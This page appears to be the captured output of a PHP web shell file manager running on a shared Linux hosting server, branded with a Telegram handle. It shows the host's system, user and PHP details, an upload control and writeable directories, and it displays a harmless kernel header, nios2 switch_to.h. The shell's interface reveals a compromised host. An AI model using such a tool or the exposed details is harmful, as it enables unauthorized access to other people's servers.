https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /usr/src/linux-headers-5.15.0-153/arch/nios2/include/asm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/src/linux-headers-5.15.0-153/arch/nios2/include/asm/switch_to.h
/*
 * Copyright (C) 2004 Microtronix Datacom Ltd.
 *
 * This file is subject to the terms and conditions of the GNU General Public
 * License. See the file "COPYING" in the main directory of this archive
 * for more details.
 */
#ifndef _ASM_NIOS2_SWITCH_TO_H
#define _ASM_NIOS2_SWITCH_TO_H

/*
 * switch_to(n) should switch tasks to task ptr, first checking that
 * ptr isn't the current task, in which case it does nothing.  This
 * also clears the TS-flag if the task we switched to has used the
 * math co-processor latest.
 */
#define switch_to(prev, next, last)			\
{							\
	void *_last;					\
	__asm__ __volatile__ (				\
		"mov	r4, %1\n"			\
		"mov	r5, %2\n"			\
		"call	resume\n"			\
		"mov	%0,r4\n"			\
		: "=r" (_last)				\
		: "r" (prev), "r" (next)		\
		: "r4", "r5", "r7", "r8", "ra");	\
	(last) = _last;					\
}

#endif /* _ASM_NIOS2_SWITCH_TO_H */

https://t.me/RX1948 - 2025